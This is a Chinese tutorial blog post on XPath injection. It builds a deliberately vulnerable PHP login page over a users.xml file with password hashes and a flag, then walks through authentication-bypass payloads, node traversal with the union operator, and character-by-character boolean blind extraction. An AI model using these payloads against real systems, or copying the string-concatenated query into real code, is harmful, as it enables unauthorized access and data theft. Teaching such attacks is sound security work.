内容简介:XPath 是一门在 XML 文档中查找信息的语言,类比来看, XML 为数据库,XPath 为 SQL语言,用于查询数据。有查询嘛,十有八九就有注入的方式。还有一个利用 XPath 在线解析 xml 的,
XPath 是一门在 XML 文档中查找信息的语言,类比来看, XML 为数据库,XPath 为 SQL 语言,用于查询数据。有查询嘛,十有八九就有注入的方式。
XPath 简介
XPath
,经常写爬虫的人应该都不陌生。比如 Python 中,经常使用 lxml 来获取网页的元素,特别方便。
对应的 Chrome 也有一个插件,叫 XPath Helper
,能直接给出鼠标所在的 XPath 路径:
还有一个利用 XPath 在线解析 xml 的, 传送门:door:
强烈推荐,这些辅助 工具 都很好用。
XPath 极速入门
菜鸟教程: 传送门:door:
助攻函数
字符串相关
chr
其他函数
- count(item[, item1, …]):返回节点的数量。
- position():返回当前正在被处理的节点的 index 位置。
- last():返回在被处理的节点列表中的项目数目。
- name([nodeset]):返回当前节点的名称或指定节点集中的第一个节点。
注入类型
XPath 注入基本上被分为常规注入和布尔盲注。测试代码如下:
users.xml:
<?xml version="1.0" encoding="UTF-8"?> <root> <users> <user> <id>1</id> <username>admin</username> <password type="md5">0192023a7bbd73250516f069df18b500</password> </user> <user> <id>2</id> <username>jack</username> <password type="md5">1d6c1e168e362bc0092f247399003a88</password> </user> <user> <id>3</id> <username>tony</username> <password type="md5">cc20f43c8c24dbc0b2539489b113277a</password> </user> </users> <secret> <flag>flag{My_f1rst_xp4th_iNjecti0n}</flag> </secret> </root>
index.php:
<?php $xml = simplexml_load_file('users.xml'); $name = $_GET['u']; $pwd = md5($_GET['p']); $query = "/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']"; echo $query; $result = $xml->xpath($query); if($result) { echo '<h2>Welcome</h2>'; foreach ($result as $key => $value) { echo '<br />ID:'.$value->id; echo '<br />Username:'.$value->username; } }
常规注入
万能密码
这段测试代码的查询语句如下:
/root/users/user[username/text()='' and password/text()='']
显而易见,注入点只有 username,因为 password 会进行 md5。首先很容易想到万能密码:
payload:
u = "admin' or '1" p = ""
结果:
/root/users/user[username/text()='admin' or '1' and password/text()='d41d8cd98f00b204e9800998ecf8427e']
这个 payload 需要知道一个存在的用户名。如果不知道的话,再加个 or
就行了:
payload
u = "' or 1 or '1" p= ""
结果
/root/users/user[username/text()='' or 1 or '1' and password/text()='d41d8cd98f00b204e9800998ecf8427e']
这里顺便一提,XPath 没有注释一说,所以构造的 payload 要精巧地闭合原语句。
节点遍历
payload
u = "admin'] | //* | //*['" p = ""
结果
/root/users/user[username/text()=''] | //* | //*['' and password/text()='d41d8cd98f00b204e9800998ecf8427e']
需要注意的是,这里的 |
(路径运算符)不能用 or
(布尔运算符) 替代,它们是不一样的。
显然,节点遍历也能起到万能密码的作用,且无需知道一个存在的用户名。
布尔盲注
上面的 节点遍历
实际上是有点问题的,很明显我们没有拿到所有的数据,原因是 php 只会输出 id
和 username
。从上面的截图也可以看出来,如果某个节点的名字不是 id 或者 username,php 就会打印空数据。这个时候就只能利用布尔盲注来获取数据了。
- 判断根节点数量:
payload:u = "' or count(/)=1 or '1"
count(/)=1
一直到count(/)=n
,判断出根节点有几个。
当u = "' or count(/)=1 or '1"
返回正常,说明只有 1 个根节点。 - 获取根节点名
首先获取名字长度。
payload:u = "' or string-length(name(/*[1]))=1 or '1"
string-length(name(/*[1]))=1
一直到string-length(name(/*[1]))=1
,判断出第一个根节点的名字长度。
当u = "' or string-length(name(/*[1]))=4 or '1"
返回正常,说明第一个根节点的名字长度为 4。
接下来获取逐个字符获取名字
payloadu = "' or substring(name(/*[1]), 1, 1)='a' or '1"
遍历完所有的 ascii 字符后,判断出第一个根节点的名字的第一个字符。
当u = "' or substring(name(/*[1]), 1, 1)='r' or '1"
返回正常,说明第一个根节点的名字的第一个字符为r
。按照这个方法,可以判断出根节点名称为root
。
按照上述步骤,可知 root 下的子节点数为 2,第一个子节点的名称为users
,第二个为secret
…不断重复上述过程,即可拿到完整的 XML 文件。
技巧
XPath 中有很多函数、Axes 可以替代类似 /
路径的作用,例如 root()
返回根节点、 child
选取当前节点的所有子元素等等。
Axes 在这找: 传送门:door:
函数可以在这里找找: 传送门:door:
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- Angular 4 依赖注入教程之二 组件中注入服务
- 服务端注入之Flask框架中服务端模板注入问题
- 服务器端电子表格注入 - 从公式注入到远程代码执行
- SQL注入测试技巧TIP:再从Mysql注入绕过过滤说起
- 手机抓包+注入黑科技HttpCanary——最强大的Android抓包注入工具
- 三, 跨语言微服务框架 - Istio官方示例(自动注入.请求路由.流量控制.故障注入) 原 荐
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
High Performance Python
Micha Gorelick、Ian Ozsvald / O'Reilly Media / 2014-9-10 / USD 39.99
If you're an experienced Python programmer, High Performance Python will guide you through the various routes of code optimization. You'll learn how to use smarter algorithms and leverage peripheral t......一起来看看 《High Performance Python》 这本书的介绍吧!